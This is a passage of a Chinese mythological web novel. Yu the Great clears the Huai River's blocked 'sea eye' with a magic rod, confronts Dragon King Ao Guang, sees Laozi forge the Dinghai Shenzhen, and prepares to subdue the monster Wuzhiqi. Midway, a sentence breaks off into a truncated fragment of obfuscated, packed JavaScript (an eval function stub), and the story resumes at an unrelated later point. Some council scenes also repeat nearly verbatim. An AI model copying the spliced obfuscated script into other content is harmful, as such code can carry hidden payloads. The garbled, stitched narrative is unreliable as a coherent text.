他环视被神尺显异惊住的众人,目光前所未有的坚定:“故,我意已决!治淮之策,当分两步。第一步,先疏海口,以此神尺为指引,打通阴阳,恢复淮水入海之通道,此为治本,可从根本上瓦解中上游水势狂澜之根基。第二步,待海口通畅,天地水汽循环得以改善,再集中全力,解决桐柏山‘七十二道弯’之顽疾,亦即,清除那盘踞源头、加剧水患的祸根!” 策略既定,大军立刻行动。禹命皋陶、弃、巫盼等人留守桐柏山大营,继续安抚周边部落,深入收集情报,并提防被蛊惑的阴离部落袭扰。他则亲率伯益、羲青、砺、岳盾,以及泽虎、飞猿等精锐和助役民夫,携带阴阳磁母尺及大量物资,沿淮水主干道,奔赴入海口。 沿途,每遇重要河段,禹便演示神尺用法,以安众心,亦为收集数据。 一次,在一处河道收窄、水流湍急之处,禹对围观的伯益、砺及众匠人头领道:“且看此尺,如何洞悉此段虚实。”他凝神静气,心中默念测量之令,随即手臂一扬,将阴阳磁母尺奋力掷向河心! 那神尺脱手,并非直坠,而是化作一道流畅的黑白流光,如灵蛇般射向目标区域。更令人瞠目结舌的是,尺身在飞行过程中,竟随着禹心念中对测量范围的要求,自行调节长短!初离手时不过三尺,瞬息间已化作数丈长短,恰好横跨激流最汹涌处。 “噗!” 神尺精准地没入咆哮的浊流。预料中被冲走或撞击的情形并未发生。尺子入水之处,一圈柔和的清辉荡漾开来,奇异地将那一片狂暴的水域暂时“安抚”下来,水流速度以肉眼可见的幅度减缓。紧接着,没入水中的尺身,从与水面接触的那一点开始,那些古老的云篆雷文次第亮起银白色的光芒,如同最精密的刻度线,向上清晰延伸,稳定地标示出水面位置,光芒耀眼,即便在浑浊的水中亦清晰可见!同时,水面以下的尺身部分,黑气大盛,隐隐形成旋涡状,仿佛在汲取、分析水底的阴寒与淤塞情况;而露出水面的部分,则白气氤氲,与天空阳气交相感应。 伯益立刻在陶板上记录:“此處水深七丈二尺!水下尺身黑气凝而不散,显示淤积深厚,且有紊乱阴寒灵机盘踞,疑似暗流交汇之节点!” 测量完毕,禹只是心念一动,抬手虚招。那没入水中的神尺仿佛听到无声的指令,清辉一闪,“嗖”地一声便破水而出,带起一串水珠,在空中划过一道优美的弧线,轻盈地飞回禹的掌中,尺身光华内敛,恢复古朴模样,只是微微发热,传递着方才探测到的信息。 “神乎其技!真乃神乎其技!”砺激动得声音颤抖,“以往测量,拿人命去填,尚且难得真实。有此神尺,水下险阻,如同掌上观纹!” 周围的民夫、岳卫们更是看得目瞪口呆,继而爆发出热烈的欢呼和议论,对完成治水大业的信心空前高涨。百草挤在人群中,看着这一幕,眼中充满了对禹的崇敬。飞猿碰了碰泽虎的胳膊,低声道:“有司空和这宝贝在,什么水怪都不怕了!” 禹抚摸着手中温润的尺身,心中对太上老君的感激无以复加,也更加明确了下一步的行动目标。凭借神尺,他们一路精准勘测,高效推进,直指那阴阳壅塞的最终焦点——淮水入海口。 但见眼前水域开阔,水色黄蓝交织,浪潮涌动。与上游的狂暴不同,这里的水流显得散乱、疲沓,大量泥沙在此淤积,形成了广阔的滩涂,主河道模糊不清,海潮与河水在此交锋,互相顶托,更添混乱。 “祭尺!”禹立于临时搭建的观测台上,神色肃穆。这一次,他并未直接将尺掷出,而是双手捧尺,将其缓缓举过头顶。 刹那间,阴阳磁母尺不再是之前测量局部河段时的模样。它通体变得近乎透明,内中流转的黑白二气不再是温和交融,而是如同被激怒的龙蛇,疯狂盘旋、冲撞,爆发出令人无法直视的璀璨光华!这光华并非散射,而是凝聚成一道无比凝实、粗壮的黑白光柱,如同开天辟地之初的第一缕光,带着洞彻幽冥、厘定乾坤的无上伟力,猛然射向广袤而混乱的水面! 光柱触及水面的瞬间,异象远超之前!不再是简单的“安抚”和局部显影。以光柱落点为中心,一圈巨大的、覆盖了方圆数里的透明涟漪急速扩散开来。涟漪所过之处,仿佛有一只无形巨手揭开了笼罩真相的帷幕——整个河口区域的水体,从上至下,彻底变得澄澈透明! 不再是脑海中映射的图像,而是所有人用肉眼就能直接看到水下的真实景象!厚重的淤泥如同褐色的山脉连绵起伏,散乱的礁石如同狰狞的骨骸遍布四处,更令人心悸的是,一条巨大、幽深、本该是淮水宣泄入海主通道的古老水道,被一种近乎实质的、散发着幽幽黑光的阴寒能量混合着泥沙礁石,几乎完全堵塞、封死! 这条水道蜿蜒向下,深不见底,其尽头仿佛连接着一个无比幽暗、无比庞大的水下空间,散发出令人灵魂战栗的古老气息和混乱灵机。无数紊乱的水灵之气如同无头苍蝇,在这被堵塞的通道内外疯狂冲撞、逸散,正是造成河口混乱、海潮顶托的根源! “找到了!这就是……这就是传说中连接江河与四海的‘海眼’!”羲青的声音因激动和某种莫名的敬畏而颤抖,“故老相传,大地水脉并非孤立,各大江河入海之处,皆有天然形成的‘海眼’,乃是天地水汽循环、阴阳清浊交汇之关键枢纽,如同人之窍穴!此淮水海眼,正是沟通淮水与东海的命脉所在!如今它被如此彻底地淤塞封闭,淮水有进无出,岂能不泛滥成灾?!疏通此道,不仅是泄洪,更是打通天地水脉之壅塞,淮水入海方能真正一泻千里,复归自然之道!” “开工!”禹的声音斩钉截铁,如同惊雷划破长空,带着不容置疑的决心。 来自涂山氏、玄夷部(虽其首领有异心,但普通族人大多被裹挟参与)以及其他淮夷部落的万千民夫,在亲眼目睹了神尺揭示的“海眼”奇观后,无不心神剧震。最初的敬畏迅速转化为一股灼热的、近乎搏命的力气。震天的号子声骤然爆发,与淮水浑浊的奔流声、呼啸的春风交织在一起,奏响了人力抗衡自然的雄浑战歌! 砺、阿牛等经验丰富的匠人头领嘶吼着指挥,人群如蚁群般动了起来: 挖掘组:以雍钺、阿牛为带头人,组织一批壮汉们挥舞着粗砺的骨耜、石铲,狠狠刺入淤积的河床烂泥中,每一次撬动都伴随着低沉的号子,黝黑的手臂肌肉虬结。 运输组:以芦花为带头人,组织一批民夫立刻用草绳编成的网兜、粗糙的藤筐接力,肩挑背扛,将沉重的淤泥与挖出的沙石运往远处指定的堆积点。沉重的脚步在泥泞的河滩上踩出深深的印迹,汗水和泥水浸透了简陋的麻葛衣衫。 攻坚组:在阴阳磁母尺那持续照耀的光柱指引下,飞猿、泽虎等水性极佳的锐士,手持坚韧的石斧、青铜凿,潜入暗流汹涌的水下。他们利用水流冲刷、撬动,甚至辅以火烧水激之法,一点点啃噬、移除那些堵塞关键水道、顽固异常的礁石和巨木残骸。每一次上浮都气喘吁吁,面色青紫。 阴阳磁母尺此刻被禹稳稳持在手中,尺身光华流转不息,不仅精准指引了施工方向和重点,其散发的阴阳调和之力,似乎也在一定程度上安抚了附近躁动的水灵,使得施工效率远超往常。 远处稍高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一声仿佛来自九幽之下的沉闷巨响,伴随着大地的剧烈颤抖,从海眼深处传来!那道被磁母尺灵光勉强维持稳定的通道,猛地崩开一道巨大的裂缝!积攒了无数岁月的、精纯而狂暴的阴寒水灵之气,如同被囚禁已久的凶兽,嘶吼着喷涌而出!霎时间,风云突变,乌云蔽日,狂风卷着腥咸的海水化作暴雨倾盆! “吼——!” 一声更加威严、古老、充满惊怒的龙吟,穿透水幕,震得人心神欲裂!海面之上,巨浪如山隆起,浪头之巅,东海龙王敖广现出宏伟的半龙法身,金鳞耀目,龙威如狱!其身后,虾兵蟹将、蛟龙夜叉,各持兵刃,旌旗招展,搅动得周天海水沸腾! “大胆凡夫!安敢毁我东海灵枢,破我龙宫海眼!”敖广声如雷霆,震得民夫们东倒西歪。 巨浪瞬间冲垮部分堤坝,淹没工具,卷走民夫。工地一片混乱。 “结阵!保护司空!”岳盾嘶声怒吼,岳卫锐士迅速结阵。 禹面对天地之威,面色凝重却无惧。他正欲掷出磁母尺,忽闻天际传来数声清越龙吟! 四道颜色各异、却同样矫健威严的龙影破开乌云,从天而降!正是常随禹左右的金鳞、苍鬃、赤须、墨琛(虽创伤未愈,仍坚持履职)、云踪五小龙,原本正在稍远的海域,尝试引导一股有利于疏浚的暖流,此刻感应到工地异变与禹通过颛顼玄圭传来的紧迫意念,立刻放弃任务,如五支离弦之箭,破开风雨疾驰而回! “司空勿忧!我等在此!”为首的金鳞龙声音沉稳,龙躯一展,与其他四龙瞬间结成一道流转不息的五色光幕,堪堪挡在扑向工地的第一波毁灭性巨浪之前!光幕与浪峰猛烈撞击,发出震耳欲聋的轰鸣,无数水花炸裂,但终究护住了下方大部分惊慌失措的民夫和工地区域。 敖广见状,龙睛中闪过一丝诧异,随即化为更深的怒意与毫不掩饰的鄙夷:“哼!我道是何方神圣赶来架梁,原来是黄河里几条侥幸得了造化、披鳞戴角的小鲤鱼!尔等沐猴而冠,不知安守本分,也敢来我东海撒野,助这凡人忤逆天条?!真是不知出身卑贱,不晓天地尊卑!” 这话极重,如同冰冷的毒刺,狠狠扎在五小龙心头。他们虽已化龙,但鲤鱼跟脚始终是某些古老存在眼中的“原罪”。 苍鬃龙性情最烈,当即发出一声愤怒的咆哮,周身水汽翻腾:“龙王陛下!我等敬你统御东海,但口出恶言,岂是尊长所为?我等追随司空,平水土,救苍生,行的端,立得正!岂容你以出身论英雄!” 墨琛龙声音幽冷,带着一丝讥诮:“龙宫威严,便是建立在漠视生灵涂炭、固守陈规之上么?这海眼淤塞,淮水成患,两岸百姓流离失所,莫非东海龙族眼中,这些都比不上所谓的‘出身’和‘颜面’?” 赤须龙龙须如火焰跳动,快言快语:“就是!我们虽是鲤鱼所化,但心向光明,力助正道!总比某些占着灵枢宝地,却坐视水患蔓延的……哼!”他话未说尽,但意思明显。 云踪龙身形灵动,在高空盘旋,声音清脆:“天地之大德曰生。司空治水,乃顺天应人之举。龙王陛下阻挠,岂不有违上天好生之德?” 五小龙你一言我一语,虽略显青涩,却有理有据,充满了年轻人的锐气与不服,将敖广堵得面色更加难看。他龙须贲张,怒极反笑:“好个牙尖嘴利!今日便叫尔等知晓,何为天高地厚,何为龙族正统!” 更多蛟龙在他的示意下,掀起更加狂暴的浪涛,从两侧绕过磁母尺与五小龙的光幕,如同两只巨大的龙爪,再次向岸上拍来!五小龙虽奋力抵挡,但他们毕竟年轻,道行与统御四海、积威万年的龙王相比,差距明显。五色光幕在狂猛冲击下剧烈波动,摇摇欲坠。墨琛龙试图以暗流干扰,却被老练的龙宫将领轻易化解;苍鬃龙硬抗一道□□,龙躯剧震;赤须龙喷吐的炽热蒸汽,在浩瀚的海水面前也显得杯水车薪。 就在光幕即将破碎的千钧一发之际,禹排众而出。他先是目光扫过奋力支撑、面露不甘的五小龙,眼中带着肯定与安抚,随即转向怒火滔天的敖广,声音清越而沉毅,瞬间压过了风浪的喧嚣:“龙君!金鳞诸位,虽非天生神圣,然其跃龙门之志,可撼山河!其佐我治水之功,可昭日月!英雄不问出处,功业自在人心。为民纾难,秉持正道,便是这天地间最大的尊卑!” 他话语一顿,气势更盛,直指核心:“禹此番疏浚海眼,绝非为冒犯龙宫威严,实为解淮水两岸万千生灵倒悬之厄!此海眼乃淮水入东海之天然通道,疏通之后,东海容纳之活水更增,灵气愈发充沛,龙宫永避水患泛滥、灵机枯竭之忧!此乃互利共生之道,关乎万民福祉,关乎东海未来!望龙君暂息雷霆之怒,以苍生为念,以东海长远计!” 禹的话语,如同洪钟大吕,既肯定了五小龙的价值,驳斥了狭隘的出身论,又将议题提升到了苍生福祉与东海长远利益的高度。其胸怀与格局,让奋力支撑的五小龙心中暖流涌动,斗志更坚;也让敖广身后的一些水族将领面露思索。 敖广龙目之中精光爆射,禹的话确实切中利害,但积威受损,怒火难平:“任你巧舌如簧,触犯天条,藐视龙威,岂能轻饶!儿郎们,全力出手! 危机时刻,禹不再多言,猛地将手中阴阳磁母尺奋力掷向空中! “阴阳定序,万水归宗!” 神尺化作横贯天地的黑白长虹,暴涨为巨大的光辉堤坝,硬生生将灭世巨浪从中劈开! 然而,敖广盛怒之下,亲自催动法力,引动四海之力,那堤坝虚影在更磅礴的浪潮冲击下,也开始剧烈震荡,光芒明灭不定。五小龙拼死支撑,龙鳞在巨大的压力下已有破损,龙血洒落。局面眼看就要失控! 就在这千钧一发、人龙大战即将彻底爆发的刹那,九天之上,祥光大放,紫气东来三万里!一声清越平和、蕴含无上道韵的牛哞,响彻每一个生灵的心头。风停雨歇,浪静波平,狂暴的灵气瞬间温顺。 太上老君,骑着板角青牛,自云端缓缓而降。他周身并无耀眼神光,只有一种清净无为、仿佛天地中心的玄奥气息。 敖广见到老君,脸上怒容瞬间收敛,化为无比恭敬,连忙降下云头,化为头生龙角、身着王袍的威严人形,躬身行礼:“敖广拜见老君!不知老君法驾降临,有失远迎,望乞恕罪!” 老君微微颔首,目光扫过狼藉却坚持的工地、惊魂未定的人群、略显狼狈却依旧坚定的五小龙,最后落在禹和敖广身上,声音平和如古井无波:“敖广,你为东海之主,维系水族,其心可鉴。然,执着于出身尊卑,亦是着相。”他目光扫过五小龙,带着一丝不易察觉的赞许,“天地造化,玄妙莫测。鳞虫化龙,亦是天道循环一环。其心向善,其行利民,便是正道。昔日黄河鲤鱼,今日治水功臣,来日或许又是另一方护佑生灵之神圣,岂可以往昔出身定其终身?” 这话如同清风,拂去了五小龙心中的阴霾与屈辱,让他们精神大振。 老君又看向敖广,语气深邃:“你可知此海眼为何淤塞至此?非是天成,实乃昔年共工怒触不周,天倾地陷,万水逆流,灵脉崩乱所遗之天地创痕。此淤塞,非是你龙族屏障,实是天地沉疴,阻隔阴阳,妨碍造化,亦制约你东海生机。” 他最后看向禹:“禹承天命,行疏导之法,非为逆天,实为顺天应人,修补这天地创痕。其所行,非但利在人间,亦在疏通天地灵机,于你水族繁衍、龙宫清宁,实乃莫大功德。尔等争执,如同盲人扪象,未见全局。共疏水脉,方是长治久安之道。” 老君一番话,从宇宙洪荒、天地秩序的高度,点明了问题的根源和解决之道。敖广闻言,脸上神色变幻,最终化为恍然与惭愧。他身为龙王,更能体会老君话语中的至理,也清晰感受到了海眼疏通一丝后,东海气韵那微不可察却真实的、向好的变化。 老君对禹道:“禹,且依前言,将那阴阳磁母尺,置于海眼核心,以完其使命,亦镇此方水眼,利及千秋。” 禹心领神会,恭敬一礼,运起神力沟通磁母尺。尺身发出欢快嗡鸣,黑白光华炽烈。他奋力一掷,神尺化作永恒之光,投入那已被初步疏浚的海眼最深处! 尺身没入刹那,仿佛触动开天辟地的古老枢机!整个东海之水为之一定!海眼中积攒的恐怖先天水灵之力,如同百川归海,疯狂涌入尺中! “嗡——!” 混沌初开般的宏大惊鸣响彻寰宇!磁母尺在海眼核心大放光明,形体疯狂暴涨!黑白二气显化如太古苍龙盘旋,周天星斗虚影明灭,云篆雷文化作秩序神链烙印虚空!眨眼间,三尺小尺化作粗愈百围、高耸入云的巍峨铁柱!——定海神针,于此诞生! 神针镇于海眼,原本因海眼疏通而略显动荡的东海,瞬间变得波澜不惊,水平如镜。所有的暗流、漩涡、狂涛,都在这根神针的威严下平息下来。一种深沉、浩渺、宁静、滋养万物的水之韵律,以神针为中心,向着无垠的东海扩散开来。周边的海水,变得前所未有的澄澈,灵机盎然! 所有目睹这一幕的人、神、水族,无不震撼失声,心生敬畏。民夫们纷纷跪倒在地,向着神针叩拜。龙族兵将也收起了武器,眼中充满了惊叹。 敖广龙王仰望着这根通天彻地的神针,感受着东海从未有过的宁静与浑厚,心中最后一丝不快也烟消云散,取而代之的是由衷的感激与敬佩。他整理衣冠,再次走到禹面前,这一次,他的姿态更加谦和,郑重地躬身一礼:“司空胸怀天地,智慧仁德,敖广心服口服!先前之过,恳请海涵!老君之言,如雷贯耳。”他特意看向五小龙,语气缓和了许多,“五位龙族俊杰,助禹治水,功在千秋,本王亦感钦佩。” 说罢,他取出一卷非丝非绢、散发着莹莹蓝光和水韵波动的古老图卷,双手奉上:“此乃《四海潮汐图》,乃我龙族世代传承之宝,其上记载四海潮汐起伏之玄妙、洋流走向之规律、以及诸多水脉灵机之奥秘。赠与司空,聊表谢意与结盟之诚,或对您后续平治天下水土,能有些许助益。” 禹心中激动,双手接过图卷。图卷入手,一股浩瀚而精微的水之信息便涌入心田,仿佛整个四海的风云变幻都在掌握之中。他深知此图珍贵,肃然还礼:“龙君深明大义,慷慨赠图,禹感激不尽!人龙本为天地所生,自当和谐共存,共维水脉安宁。今日盟约既立,禹必当恪守。日后龙宫若有需用人族之处,禹亦定义不容辞!” 五小龙亦盘旋低吟,向龙王致意,先前的不快烟消云散。 人龙双方,在一片祥和与相互敬重中,依依惜别。定海神针巍然耸立于东海之滨,成为了人龙盟约的永恒见证,也成为了稳定东海、福泽苍生的无上支柱。 禹率领队伍,携带着龙族至宝《四海潮汐图》,踏上了返回桐柏山的归途。此番导淮入海,虽过程惊险,但结果圆满,不仅解决了淮水入海的宏观难题,更与东海龙族化敌为友,获得了珍贵的潮汐图,全军上下,士气高昂。 然而,当禹回到桐柏山大营时,留守的皋陶、弃、巫盼等人带来的消息,却让他的心情重新沉重起来。 “司空,您不在期间,那无支祁的活动愈发猖獗。”皋陶面色凝重,“被其蛊惑的阴离部落,多次袭击我外围哨探与小型勘探队,虽未造成大损,但其敌意已昭然若揭。更有数个原本态度中立的部落,近期态度也变得暧昧,疑似受到了无支祁的威胁或诱惑。” 弃也补充道:“营地附近夜间时常听到怪异的啼叫与水流异常搅动的声音,民夫间关于那妖王‘青躯白首,金目雪牙,能言人语,善弄风云’的传说愈演愈烈,已有不少人生出畏惧之心。” 巫盼则以巫者特有的敏感说道:“我感知到,‘淮源之井’方向的戾气与怨念,近日陡增。那无支祁,似乎感知到了海眼疏通对其的威胁,正在积聚力量,蠢蠢欲动。” 禹走到大帐门口,遥望着桐柏山主峰方向那终年不散的云雾,仿佛能感受到那双潜藏在深水之下的、冰冷而狂躁的金色眼眸,正隔空与他对视。他轻轻抚摸着怀中那卷《四海潮汐图》,又想起太上老君离去时那意味深长的谶言——“水患虽平,猿孽未伏”。 宏观的水脉已然疏通,入海之路已然畅通。但淮水真正的症结,那盘踞在源头,与地脉深深纠缠,以痛苦与怨恨为食,更能蛊惑人心的古老妖王无支祁,已成为横亘在治水大业面前,必须拔除的最后,也是最凶险的一根钉子。 他深吸一口气,转身,目光扫过帐内每一位核心成员——皋陶、伯益、羲青、弃、砺、岳盾、巫盼、辛夷,以及侍立一旁的泽虎、飞猿等人。他的眼神坚毅如磐石,声音沉稳而充满力量: “诸位,淮水入海之道已通,然桐柏山之患未除。那无支祁盘踞‘淮源之井’,乃是‘七十二道弯’险恶水势与沿岸人心惶惶的根源!下一步,我等当集中全力,直指此獠!” 他环视众人,开始点将部署,声音在帐内清晰回荡:“伯益、羲青!” “在!”两人肃然应声。 “着你二人,即刻准备,携伏羲玉简、水玉简、星盘,以及新得的《四海潮汐图》与运用阴阳磁母尺之经验,对‘淮源之井’及‘七十二道弯’险段,进行最深度的勘探!务必查明无支祁确切藏身之处、其活动规律,以及它与地脉水势勾连的关键节点!此乃重中之重!” “领命!”伯益与羲青目光交汇,充满了使命感。 “皋陶、岳盾!” “在!”两人踏步上前。 “皋陶,你需依据当前情报,预判哪些部落可能因无支祁被触动而心生异动,加紧联络分化,制定周全的安抚与弹压细则,稳定后方!” “岳盾,强化营地内外警戒,遴选最精锐、最熟悉山林水泽之战的勇士,由你亲自督导,进行针对性战备训练!务必做到来之能战!” “诺!”两人沉声应下。 “砺!” “在!”老匠师目光灼灼。 “集中所有能工巧匠,即刻开始研讨!若要制服此等力大无穷、栖身深水的巨妖,需要何种特殊器械?何种锁缚之法?大胆构思,先行准备材料,待伯益他们探明其弱点,便要立刻动手打造!” “司空放心,砺必竭尽所能!” “弃、巫盼、辛夷,后勤与救治事宜,便托付给你们了。” 弃与巫盼夫妇郑重点头。 禹的目光最后扫过所有人,语气斩钉截铁:“诸君!此战,非为匹夫之勇,乃智慧、力量与意志之较量,关乎淮水全局,关乎东南苍生,不容有失!各自分头准备,随时待命!” “谨遵司空之命!”帐内众人齐声应诺,声音中充满了大战将至的凝重与昂扬的决心。一股无形的紧迫感弥漫开来,驱散了刚刚得胜归来的些许松懈。 新的,也是最终的战役,即将在这桐柏深山、淮水之源,拉开序幕。夜风带来淮水的湿气,也仿佛带来了一声来自深渊的、充满挑衅与暴戾的咆哮,在群山间隐隐回荡。 14. 第14章:桐柏伏怪 大营甫定,禹未及洗去导淮入海的征尘与疲惫,桐柏山周遭的淮夷诸部已闻风而动。此前禹成功引导淮水部分支流东注,水势稍抑,沿岸生灵初得喘息,诸多部落首领亲眼见证了这位司空并非空言,而是确有平水安民之能与至诚之心。当禹率部重返桐柏山主营地时,迎接他的不再是疑虑与观望,而是发自肺腑的欢迎与拥戴。 其中,尤以涂山氏最为热忱。首领涂山翳亲率族中长老及精锐扈从,携大批粮秣、御寒衣物、坚实工具以及涂山特产的草药,前往大营劳军。营地前,两族重逢,场面热烈。涂山翳紧握禹手,神色肃穆而真诚:“司空,导淮入海,初显神效,沿岸诸部皆感司空之德!我涂山氏与司空既结盟好,更兼姻亲之谊,在此危难之际,必倾力相助!凡所需物资、人手,但有所需,翳与涂山氏,绝无二话!” 其麾下勇士亦纷纷请缨,愿随司空一同降妖伏怪,守护淮水安宁。其他大小部落,见实力最强的涂山氏如此表态,又亲见治水之利,也多遣使或首领前来,或献上些许物资,或承诺提供向导、民夫,一时间,平水土之师声势大振,人心渐聚。 然而,禹深知,真正的考验才刚刚开始。他未及休整,即刻于中央营帐内召集核心僚属及涂山翳等主要支持部落首领共同议事。帐内气氛因盟友的加入而少了几分压抑,多了几分同仇敌忾。 伯益与羲青带着一身水汽与尘土步入帐中,显然是从勘探一线匆匆赶回。伯益率先开口:“司空,诸位,我等沿‘七十二道弯’险段初步探查,情形比预想更为严峻。”他指向临时铺开的、刻画着最新信息的陶片,“此段河道绝非天然形成!水下礁石分布诡谲,宛若巨灵以蛮力强行堆砌,刻意阻塞主流。漩涡之下,暗流吸力骇人,轻便舟筏稍近即有可能倾覆。更令人不安者,”他顿了顿,神色凝重,“我等屡次听闻水下传来异响,非猿非猴,亦似金铁摩擦,闻之令人心悸。且此段水域生态失衡,凶鳄恶鲶聚集,温驯鱼虾几近绝迹,似被一股暴戾之力驱役、慑服。综合各方信息,那被称为‘无支祁’的存在,盘踞于上游‘淮源之井’ ,恐是此间一切异常之源,其能蛊惑部落,亦非虚言。” 禹凝神倾听,眉头紧锁。他随即转向羲青:“羲青,你以星盘观测,气机如何?” 羲青上前一步,向禹微微欠身:“司空,请借伏羲玉简与水玉简一观,与我星盘所感相互印证。” 禹颔首,自怀中取出那两件散发着朦胧光晕的神物,置于面前的简牍之上。羲青并未亲手触碰,而是将自己的墨玉星盘小心置于其旁,闭目凝神,以自身精神力引导,感应着三件神器之间微妙的共鸣与信息流转。帐内众人屏息,只见伏羲玉简泛起的微光勾勒出山川地脉的虚影,尤其清晰地标出了几处地气郁结、脉络不通的节点;而水玉简上则仿佛有水流光影浮动,清晰显示出淮水在此段流速的骤变、深浅的急剧落差以及那股混乱、暴戾水灵之力的大致流向。 片刻后,羲青睁开双眼,额角已见细密汗珠。她指向那光影交织处,声音带着一丝不易察觉的颤抖:“司空,如您所见,伏羲玉简示其地脉根基之乱,水玉简显其表里水流之狂。三者结合,此地水患之根源,已可窥见轮廓。然而……”她深吸一口气,下意识地握紧了手中的墨玉星盘,“当我试图以星盘推演其祸源气运之深浅时,盘内……盘内那道旧痕,竟如被灼烧般刺痛!”她将星盘微微亮出,只见其深处那道代表天河灾变的灼痕,此刻正隐隐散发着不祥的微光。“星盘受此干扰,寻不到它的核心藏处,但这感应绝不会错。” 羲青抬眼看向禹,“水下深处,定然藏着能引动天河旧厄的巨恶,绝非疏通河道便能解决。” 羲青的汇报,结合三件神器的直观显现,使得伯益之前的描述变得更加具体且骇人。帐内一时寂静,空气中弥漫着证实猜想后的凝重。 皋陶道:“先前所虑,今得印证。此獠非仅凭蛮力凶顽,其灵智足以驾驭此地紊乱的地脉水势为甲胄,更能惑乱人心以为羽翼,实乃大患。律法昭昭,在于除害安民。然其巢穴既与地脉核心纠缠一体,若行强攻,如同治病而伤其脏腑,非但难以根除,恐引地气剧烈反噬,遗祸更烈,波及无辜。故,制伏之策,首重‘剥离’——需设法将其从地脉庇护中剥离出来,或寻其力量枢纽,一击而定,方为上策。” 砺的眉头锁得更紧,他盯着水玉简上那狂乱的水流光影,语气沉重:“勘探所见,远甚于闻。那‘淮井’周边,水势之恶,非人力所能久持。民夫莫说施工,便是靠近亦需冒九死一生之险。司空,在擒获或驱离此怪之前,任何河道疏浚之工,皆如空中楼阁。当前首要,非开山凿石,乃是为开山凿石扫清障碍——必须先行解决无支祁之患!” 禹的目光缓缓扫过众人,深吸一口气,决然道:“情况已明,敌踪已显。无支祁,已非传闻中之阴影,乃是我等眼前必须攻克之关隘!其力源于地脉,其势借于水文,其威施于人心。故,我意已决:暂缓全线动工,集中全力,先破此獠!” 他环视帐中众人,开始点将部署:“伯益、羲青,你二人任务不变,但需更为深入。伯益,着你设法探明无支祁确切活动规律,尤其其与‘淮井’及周边地脉能量流转之具体关联,寻觅其‘根基’所在。羲青,你需以星盘持续监控,力求缩小其核心藏身范围,并留意任何可能影响战机的天象、地气变化。” “皋陶、岳盾!”两人凛然应声。“皋陶,你需依据此番探查结果,预判哪些部落可能因无支祁被触动而心生异动,并制定弹压与安抚之细则。岳盾,遴选最精锐之士,开始进行山林、水泽作战之预备,并负责营地外围警戒,严防敌探与骚乱。” “砺,集中所有优秀匠人,开始研讨,若需制服此等巨物,需何种特殊器械、何种锁缚之法?可先行构思,待其弱点明晰,即刻动手打造!” 最后,禹特别转向涂山翳:“翳兄,涂山氏熟悉本地山川地理,族中勇士亦骁勇,探查及决战之时,还需贵部鼎力相助,尤其是熟悉水性与山林的向导与精锐战士。” 涂山翳毫不犹豫,慨然应诺:“司空放心!翳已挑选族中善泳、熟知水脉、勇武过人之士百人,皆听候司空与诸位调遣!我本人亦将亲随司空左右,以供咨询!” “诸君!”禹最后沉声道,“此战,非为匹夫之勇,乃智慧、力量与意志之较量,关乎淮水全局,不容有失!各自分头准备,随时待命!” “领命!”众人的应诺声比此前更加凝重,也更具针对性,充满了临战前的紧张与决心。 帐议散去,众人领命而行,大帐内骤然空寂,唯余火把燃烧的噼啪声与帐外淮水永不疲倦的轰鸣。禹独自立于陶牌舆图前,目光再次落在那蜿蜒如毒蛇的“七十二道弯”上。部署虽已下达,言辞虽极坚定,但一股深沉的、唯有独处时才敢任其弥漫的无力感,悄然攫住了他的心神。 “无支祁……”他无声地咀嚼着这个名字。相柳之凶,在于其污秽与九首之顽,终被圣器与律法之力镇伏;妖鼋之怨,在于其痛苦与共工残念的纠缠,亦在《安魂引》与雷霆一击中了结。每一次,看似找到了克敌之法,实则都是于迷雾中摸索,于绝境中寻得一丝微光。他,终究只是一介凡人,血肉之躯,会疲,会痛,会思念,更会……畏惧。 而此番面对的,却是一个截然不同的对手。它非懵懂凶兽,亦非纯然怨灵。它能言善辩,蛊惑人心,将自身与地脉水势深度捆绑,其力逾九象,其智近乎妖。如何对付? 一丝寒意顺着脊椎悄然爬升,带来微微的战栗。他仿佛能感受到那双潜藏于深水之下的金色眼眸,正带着亘古的嘲弄与冰冷,穿透层层水波,窥视着岸上这群渺小生灵的徒劳挣扎。它盘踞于此无数岁月,见识过多少兴衰更迭?自己这一支远道而来、人困马乏的疲师,真的能撼动这古老而强大的存在吗?万一失败,不仅淮水治理前功尽弃,这万千追随他的部众,涂山氏等坚定盟友,乃至东南翘首以盼的苍生,又将陷入何等万劫不复之境? 压力如山,几乎要将他挺拔的身躯压弯。他下意识地伸手入怀,指尖触碰到一件温润微凉的物事——那是那枚小巧的同心埙,来自已化为冰冷岩石、永守轘辕山口的妻子女娇。刹那间,女娇凝望他的最后眼神,那里面含着的理解、支持与无尽眷恋,以及启儿咿呀学语的模糊模样,清晰地刺痛了他的心,带来一阵尖锐的酸楚。家,已残缺;国,水患未平。他有何资格退缩?有何颜面畏惧? 他猛地闭上眼,深吸一口带着潮湿泥土气息的空气。脑海中浮现的,却是昔日疏导黄河时遇到的无数艰难险阻:龙门山仿佛不可逾越的屏障,他们找到了“火烧水激”之法,以智慧开辟通路;徒骇河吞噬了忠勇的锐士,他们立下衣冠冢,将其名刻骨铭心,化悲痛为力量,继续前行;轘辕山地脉结节坚不可摧,他得应龙之助化身熊罴,以厚德载物之力将其生生“撑开”……哪一次,不是在看似无路可走之处,凭借信念、智慧与众人之力,硬生生踏出了一条血路? “遇山开山,逢水架桥……”他低声自语,仿佛在坚定自己的信念,“妖魔虽厉,亦有其性,有其源,有其弱。我辈凡人,无通天之能,却有集众之智,有百折不挠之志,有廓清寰宇之心。” 他缓缓睁开眼,之前的迷茫与无力已被压下,取而代之的是一种更加内敛、却更为坚韧的决心,“一步步走,一寸寸探。生机,总在行动之中显现。” 他转身,不再看那舆图,目光投向帐外沉沉的夜色。他知道,前路依旧吉凶未卜,但与方才那瞬间的虚空不同,此刻,他的脚步已然重新变得坚定。无论如何,必须走下去。 与此同时,营地中开始流传起关于无支祁的种种恐怖传说。有淮夷猎户信誓旦旦地说,曾见月光下,一巨大白影在河面翻腾,所过之处,波浪如山;有渔夫声称,其先祖曾误入水府,见过那水神真容,乃是一“青躯白首,金目雪牙,状若猿猴”的巨怪,能言语,知江河深浅,力大无穷,搏击蛟龙虎豹如戏婴孩;更有甚者,言其颈下挂有金色锁链残片,行动间哗啦作响,似是上古遗留的束缚…… 种种迹象表明,欲疏淮水,必先解决无支祁这个盘踞在此的“地头蛇”。然而,如何对付一个能被尊为“水神”、力逾九象、栖身深水且可能拥有古老来历的精怪?尤其是对于主要依靠人力与工具的平水土之师而言,这几乎是一个不可能完成的任务。 